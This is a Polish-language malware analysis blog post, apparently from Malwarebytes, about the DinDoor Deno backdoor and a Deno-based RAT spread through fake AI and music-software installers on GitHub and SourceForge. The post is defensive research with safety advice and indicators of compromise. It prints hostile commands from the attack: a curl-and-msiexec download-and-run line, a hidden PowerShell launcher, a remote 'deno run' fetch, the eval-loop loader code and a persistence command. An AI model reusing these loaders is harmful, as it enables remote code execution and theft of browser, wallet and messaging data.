W trakcie naszych działań związanych z wykrywaniem zagrożeń znaleźliśmy na serwisach GitHub i SourceForge fałszywe instalatory i wtyczki podszywające się pod popularne oprogramowanie, takie jak ChatGPT, Claude, AutoTune i Kontakt, które rozpowszechniają backdoora Deno znanego jako DinDoor. Atakujący wykorzystują przejęte YouTube do rozpowszechniania linków do tych platform.
DinDoor ostatecznie rozprzestrzenia różne rodzaje złośliwego oprogramowania, w tym ukrytego trojana umożliwiającego zdalny dostęp (RAT), który również wykorzystuje środowisko uruchomieniowe Deno JavaScript.
Atakujący coraz częściej wykorzystują alternatywne środowiska uruchomieniowe JavaScript, takie jak Bun i Deno, aby ominąć tradycyjne metody wykrywania. W jednym z naszych ostatnich badań udokumentowaliśmy, w jaki sposób atakujący wykorzystują Bun jako początkowy wektor infekcji do rozpowszechniania oprogramowania NWHStealer. W marcu ThreatDown zaobserwowali również, że atakujący używali Deno do dostarczania oprogramowania CastleLoader poprzez wieloetapowy łańcuch infekcji z wykorzystaniem przynęty ClickFix.
W ramach tych kampanii wykorzystuje się Scoop (alternatywny instalator dla Windows) oraz WinGet (oficjalny menedżer Windows ) do zainstalowania środowiska Deno na komputerze ofiary. Następnie za pomocą środowiska uruchomieniowego Deno uruchamiany jest program typu RAT, umożliwiający wykonywanie dodatkowych ładunków oraz wykradanie danych z przeglądarek, portfeli i innych aplikacji; posiada on interesującą funkcję peer-to-peer, która wykorzystuje Edge ukrywania złośliwego ruchu.
Legalne platformy wykorzystywane do rozprzestrzeniania złośliwego oprogramowania
W większości analizowanych przypadków łańcuch infekcji rozpoczyna się zazwyczaj odplików MSIlubskryptów PowerShellpobranych z serwisów GitHub lub SourceForge. Użytkownicy są zazwyczaj przekierowywani do tych złośliwych repozytoriów za pośrednictwem zainfekowanychYouTube . Filmy te mają obecnie łącznie ponad 50 000 wyświetleń.


Zhakowane YouTube publikują posty promujące różne programy i nieustannie przełączają się między kontami na GitHubie, aby rozpowszechniać złośliwe oprogramowanie.

Wydaje się, że to fałszywe oprogramowanie jest skierowane do twórców, entuzjastów sztucznej inteligencji, graczy oraz użytkowników o technicznych zainteresowaniach, którzy chętniej pobierają nieoficjalne narzędzia, pirackie oprogramowanie lub instalatory udostępniane przez społeczność z serwisów takich jak GitHub i SourceForge. Zauważyliśmy fałszywe pliki MSI i skrypty udające instalatory i wtyczki do legalnego oprogramowania i marek, takich jak ChatGPT, Claude, ZENOLOGY, Ableton Live, AutoTune, Kontakt.

W tych złośliwych repozytoriach znajdują się polecenia przeznaczone zarówno dla Windows macOS. Repozytoria te proszą użytkowników o otwarcie terminala i skopiowanie złośliwego polecenia, które pobiera plik MSI z serwisu GitHub i uruchamia go.

Złośliwe konta na GitHubie tworzą liczne repozytoria wypełnione fałszywym oprogramowaniem i wtyczkami powiązanymi z popularnymi programami, aby zwabić jak najwięcej użytkowników.

Odkryliśmy, że ten sam backdoor był rozpowszechniany za pośrednictwem serwisu SourceForge, podszywając się pod legalne oprogramowanie do gier o nazwie GearUP oraz program do usuwania znaków wodnych oparty na sztucznej inteligencji o nazwie BWR.


Jak zachować bezpieczeństwo
Atakujący w dużym stopniu wykorzystali zaufanie użytkowników. GitHub i SourceForge to renomowane platformy, co sprawia, że fałszywe projekty wydają się bardziej przekonujące. Skontaktowaliśmy się z serwisem GitHub, który szybko usunął złośliwe repozytoria, jednak użytkownicy powinni liczyć się z tym, że będą pojawiać się nowe.
Oto kilka prostych sposobów na zachowanie bezpieczeństwa:
- Oprogramowanie pobieraj wyłącznie z oficjalnych stron internetowych producentów.
- Podchodź sceptycznie do „darmowych”, pirackich lub nieoficjalnych wersji płatnego oprogramowania.
- Zachowaj ostrożność przy pobieraniu plików z serwisów GitHub, SourceForge, forów lub serwisów do udostępniania plików, zwłaszcza z nowych lub nieznanych kont.
- Hakerzy wciąż tworzą nowe profile, aby rozpowszechniać to złośliwe oprogramowanie na różnych platformach. Przed pobraniem czegokolwiek sprawdź profil twórcy lub wydawcy, jego reputację oraz datę utworzenia.
- Sprawdź, czy zawartość archiwum, obrazy i pliki tekstowe odpowiadają temu, co zamierzałeś pobrać. Nazwy i struktura archiwów często odpowiadają znanym schematom stosowanym przez złośliwe oprogramowanie.
- Przed uruchomieniem pliku sprawdź jego wydawcę i podpis cyfrowy. Windows zazwyczaj można to zrobić, klikając plik prawym przyciskiem myszy i wybierając opcję „Właściwości” > „Podpisy cyfrowe”. Pamiętaj, że ważny podpis nie gwarantuje, że plik jest bezpieczny, ale brak podpisu lub podejrzany podpis to często sygnał ostrzegawczy.
Analiza techniczna
Złośliwe repozytoria na GitHubie proszą użytkownika o otwarcie okna wiersza poleceń i wykonanie złośliwego polecenia. Złośliwe polecenia pobierają plik MSI z serwisu GitHub i instalują go za pośrednictwem msiexec. Repozytoria te zawierają czasem również skrypty PowerShell służące do uruchamiania łańcucha infekcji w podobny sposób.
Przykład złośliwego polecenia umieszczonego na GitHubie, które uruchamia łańcuch infekcji:
curl -Lo %temp%\s.msi https://raw.githubusercontent.com/claude-free-plugin/install/main/install.msi && msiexec /i %temp%\s.msi
Instalator MSI umieszcza plik CMD oraz skrypt PowerShell w losowym katalogu określonym w pliku MSI InstallationFolder oraz wartości rejestru. Wykryliśmy różne struktury tych plików MSI – niektóre zawierały kod JavaScript zamiast pliku CMD, a inne miały wbudowane dodatkowe pliki.

Plik CMD uruchamia skrypt PowerShell, którego nazwa zmienia się w analizowanych łańcuchach infekcji:
@set "SCRIPTDIR=%~dp0" @powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Start-Process powershell -ArgumentList ('-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File ""' + $env:SCRIPTDIR + '{Random name}.ps1""') -WindowStyle Hidden"

Skrypt PowerShell zajmuje się:
- Upewnij się, że menedżer pakietów Scoop jest zainstalowany, a jeśli go brakuje, zainstaluj go za pomocą oficjalnego skryptu dostępnego pod adresem
get.scoop.sh. Scoop to popularny, oparty na otwartym oprogramowaniu instalator i menedżer pakietów działający w wierszu poleceń dla Windows Microsoft Windows. - Użyj programu Scoop, aby zainstalować WinGet (menedżerWindows ), jeśli go brakuje.
- Zainstaluje Deno (środowisko uruchomieniowe JavaScript/TypeScript) za pomocą WinGet lub Scoop, jeśli jeszcze go nie ma.
Wykorzystanie menedżerów pakietów Scoop i WinGet do instalowania dodatkowego oprogramowania na zainfekowanym komputerze stanowi interesujące rozwiązanie, które zapewnia atakującemu większą elastyczność.
Polecenie wykonane w celu zainstalowania Deno za pomocą WinGet:
"C:\Users\admin\scoop\apps\winget\current\winget.exe" install --id DenoLand.Deno -e --accept-source-agreements --accept-package-agreements --silent
Tylne drzwi DinDoor
Następnie uruchamiany jest plik wykonywalny Deno pobrany wcześniej:
"C:\Users\admin\AppData\Local\Microsoft\WinGet\Packages\DenoLand.Deno_Microsoft.Winget.Source_8wekyb3d8bbwe\deno.exe" run -A http://{C2}/{random_path}.js
Zwracany kod (o wewnętrznej nazwie „launcher-1”) to niewielka funkcja typu eval-loop, która pobiera kolejny etap (o wewnętrznej nazwie „launcher-2”). Pobrane oprogramowanie typu backdoor jest powszechnie znane podnazwą DinDoor.
var a="{C2}".split(","),i=0;for(;;){let e=null;try{let t=await fetch(a[i%a.length]+"/{BUILD_ID}.js");if(!t.ok)throw 0;e=await t.text()}catch{i++,await new Promise(t=>setTimeout(t,5e3));continue}try{await(0,eval)("(async()=>{"+e+"})()")}catch{}await new Promise(t=>setTimeout(t,3e4))}
Backdoor zapewnia trwałość, wysyła informacje o zainfekowanym systemie do serwera dowodzenia i kontroli (C2) oraz uruchamia dodatkowe ładunki i polecenia otrzymane od serwera C2. Punkty końcowe HTTP wykorzystywane do komunikacji z serwerem C2 różnią się w zależności od analizowanych przypadków.
Tylne drzwi pobierają identyfikator z punktu końcowego HTTP (na przykład, /security-pool) a następnie wykorzystuje ten identyfikator do pobrania kolejnego etapu z /v2{ID}.js.
Uzyskany etap jest realizowany poprzez stdin bez zapisywania na dysku, za pomocą polecenia:
deno run -A --no-check –
Aby zapewnić sobie trwałość, backdoor uruchamia polecenie PowerShell w celu utworzenia klucza RUN, który uruchamia wykorzystywany wcześniej program pobierający „launcher-1”:
conhost.exe --headless "<deno.exe>" -A "%APPDATA%\<hash>.js
W analizowanych przypadkach ten backdoor rozprzestrzenia kilka rodzin złośliwego oprogramowania. W tym wpisie na blogu analizujemy jeden z rozprzestrzenianych ładunków: narzędzie RAT wykorzystujące środowisko uruchomieniowe Deno JavaScript.
Deno RAT
Dostarczony program typu RAT, podobnie jak inne analizowane skrypty, wykorzystuje środowisko JavaScript Deno i dysponuje pełnym zestawem funkcji umożliwiających sterowanie urządzeniem, wykonywanie poleceń i ładunków oraz wykradanie różnego rodzaju danych za pośrednictwem wbudowanego modułu kradnącego dane.
Nie znaleźliśmy konkretnej nazwy ani informacji o autorstwie tego RAT-a. W przeszłości RAT ten był określany jako „Smokest” na podstawie konkretnej wartości w pliku konfiguracyjnym. Podobny styl komentarzy oraz wspólna infrastruktura sugerują, że twórca DinDoor i twórca tego RAT-a mogą być tą samą osobą lub zespołem.
Zabrałeś coś, czego nie powinieneś?
Oprócz protokołu HTTP do komunikacji C2, RAT obsługuje również WebSocket komunikacja, włączana po ustawieniu wartości JSON isLiveEnabled wartość zwracana z funkcji C2 ma wartość true.

Program RAT obsługuje różne polecenia (exec, exec-ps, exec-sc, sysinfo, screenshot, stealer) oraz funkcjonalność:
- Zbierz informacje systemowe dotyczące zainfekowanego urządzenia
- Pełna dwukierunkowa kontrola za pośrednictwem niestandardowej implementacji VNC wykorzystującej protokół WebSocket
- Obsługuje ponad 50 rozszerzeń portfeli kryptowalutowych oraz 10 folderów oprogramowania kryptowalutowego, takich jak Atomic Wallet, Exodus, Electrum i ByteCoin
- Gromadź dane z przeglądarek, takich jak Chrome, Chromium, Brave, Edge, Avast Browser, Edge, Vivaldi, CentBrowser, Kometa, Orbitum, 360Browser i Chromodo
- Wyciągnij dane z serwisów Telegram, Discord i Lightcord
- Zapisywanie i modyfikowanie danych ze schowka
- Wyświetl listę folderów i plików oraz wyodrębnij zawartość plików o określonych rozszerzeniach
- Rób zrzuty ekranu na różne sposoby
- Wykonaj dodatkowe zadania
- Uruchamianie lub zamykanie dowolnych procesów
- Wykonywanie poleceń za pomocą programu PowerShell
- Ustanawianie tuneli proxy SOCKS5 za pośrednictwem WebSocket
Jedną z najciekawszych funkcji programu RAT jest tryb strumieniowania peer-to-peer, który wykorzystuje Edge do ukrycia ruchu sieciowego i utrudnienia wykrycia.
Aby przesyłać strumień wideo na żywo bezpośrednio do operatora bez kierowania go przez serwer C2, narzędzie RAT uruchamia ukryty Edge Microsoft Edge i łączy się z nim za pośrednictwem protokołu Chrome Protocol (CDP). Następnie wstrzykuje do Edge niewielką stronę HTML opartą na WebRTC, przekształcając legalną przeglądarkę w przekaźnik wideo typu peer-to-peer. Agent Deno przechwytuje i koduje ekran ofiary w formacie H.264, przekazuje klatki do Edge za pośrednictwem CDP, a Edge je bezpośrednio do przeglądarki operatora za pośrednictwem zaszyfrowanego kanału danych WebRTC. Sygnały SDP i ICE, potrzebne do nawiązania bezpośredniego połączenia, są wymieniane za pośrednictwem istniejącego WebSocket C2.

Program RAT wykorzystuje następujące punkty końcowe do komunikacji C2, które mogą się różnić w poszczególnych wersjach:
/health: sprawdza, czy z serwera C2 otrzymano odpowiedź „ok”/token: odbieranie parametrów konfiguracyjnych, przekazywanie zadań, wyniki oraz wyeksportowane dane/vnc/agent/: Ścieżka WebSocket używana do komunikacji VNC
Dane konfiguracyjne są zakodowane w formacie Base64 i przesyłane podczas komunikacji z serwerem C2 jako token autoryzacyjny. Odkodowane dane konfiguracyjne:
{
"buildId": "cd361ef3159f5ce9",
"buildNote": "BWR",
"buildType": "msi-v2",
"proxyUrls": ["{C2}"],
"userId": "…",
"accessTokenHash": "…",
"iat": 1779372546,
"exp": 2094948546
}
Znaleźliśmy różne wersje tego RAT-a, w tym wersję „light” o nazwie „agent-lite”, która obsługuje tylko kilka poleceń i wykorzystuje Cloudflare Workers do komunikacji C2.

Podziękowania
- DinDoor:https://hunt.io/blog/dindoor-deno-runtime-backdoor-msi-analysis
- Smokest:https://x.com/vxunderground/status/2013006601133687004
Wskaźniki kompromisu (IOC)
adresy URL
https[:]//github.com/claude-free-plugin/https[:]//github.com/ai-gen-profihttps[:]//github.com/wharfdemolisherpithttps[:]//sourceforge.net/projects/gearup/https[:]//sourceforge.net/projects/bluewaveremover/
Domeny
claudescript[.]top: strona internetowa poświęcona dystrybucjims-telemetry-gateway-us[.]com: C2dakatawebstick[.]com: C2ashpaltlonpro[.]com: C2cf-proxy[.]cloud-analytics-services[.]workers.dev: C2agilemast3r[.]duckdns[.]org: C2geralnewlong[.]com: C2hngfbgfbfb[.]cyou: C2logicalnewrestore[.]com: C2
adresy IP
23[.]227[.]196[.]107: C245[.]137[.]99[.]121: C231[.]57[.]129[.]23: C266[.]78[.]40[.]107: C2193[.]233[.]198[.]132: C2
Nie tylko informujemy o zagrożeniach - my je usuwamy
Zagrożenia cyberbezpieczeństwa nigdy nie powinny wykraczać poza nagłówek. Chroń swoje urządzenia przed zagrożeniami, pobierając Malwarebytes już dziś.




